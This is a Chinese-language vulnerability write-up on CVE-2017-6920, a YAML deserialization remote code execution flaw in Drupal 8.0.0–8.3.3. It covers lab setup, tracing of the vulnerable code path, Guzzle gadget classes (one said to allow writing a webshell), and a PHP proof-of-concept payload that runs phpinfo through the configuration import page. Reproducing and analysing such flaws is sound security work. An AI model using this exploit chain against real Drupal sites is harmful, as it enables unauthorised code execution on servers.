Drupal YAML 反序列化代码执行漏洞(CVE-2017-6920)
事件背景
框架漏洞收集
老外的CMS框架,比较复杂,数据流向太长,调试需要消耗较多的时间。
漏洞说明
1. 漏洞原理:2017年6月21日,Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical。这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。
2. 组件描述:Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由由内容管理系统和PHP开发框架共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。
3. 影响版本: 8.0.0~8.3.3
漏洞复现
环境搭建:GitHub - drupal/drupal at 8.3.3
这里可能需要利用docker环境的命令配置一下,我自己的环境为:windows10、PHP7.1、电脑带有docker可使用composer命令生成vendor目录、需要提供yaml环境(https://www.cnblogs.com/yycode/p/16039854.html)、在php.ini文件中添加”yaml.decode_php=On“
然后访问/core/install.php进入安装界面,简单填数据库的信息安装即可
登录后访问路径/admin/config/development/configuration/single/import
向输入框输入POC
点击import,可以看到phpinfo界面,说明POC攻击成功
漏洞分析
drupal8.3.3为开源框架,可以直接审计代码进行调试,根据网上相关漏洞的信息,可以得知本漏洞是yaml_parse()触发的yaml php反序列化,于是先找到该函数的出现的点
有且仅有一个,因此可以断定就是这里,进入看看
这里可以在PHP手册看到该函数的作用
可以看到第一个参数为YAML格式字符串,而函数的作用为将全部或部分 YAML 文档流转换为 PHP 变量,还有一个注意事项
大概意思为:如果使用!php/object则会进行一次反序列化,这个开关由ini的yaml.decode_php控制,因此大概能知道这个函数如果在特定条件下会触发反序列化,而我们现在需要的是控制第一个参数,即$raw
步入Yaml.php::decode查看是否能实现与YamlPecl.php::decode进行链接,步入getSerializer查看一下
可以看到,只要存在yaml环境即可步入第一个条件判断,这也是为什么需要yaml环境了,再去看有没有可控参数,最后定位到ConfigSingleImportForm.php文件
可以看到Yaml::decode()中参数可控因此直接在这利用即可,不过还有一个问题就是利用哪个文件进行反序列化,这个需要查看多个php类文件,最后定位在
vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php
\vendor\guzzlehttp\psr7\src\FnStream.php
一个可以直接写webshell,另一个是可以执行无参函数
最后POC为:
<?php
namespace GuzzleHttp\Psr7;
class FnStream {
public function __construct(array $methods){
$this->methods = $methods;
// Create the functions on the class
foreach ($methods as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}
public function __destruct(){
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}
$fn = new FnStream(array('close'=>'phpinfo'));
echo(serialize($fn))
?>
最后在生成的payload前面增加 !php/object 修改为yaml格式即可,除了yaml的一个触发点,其它和普通的PHP反序列化没什么区别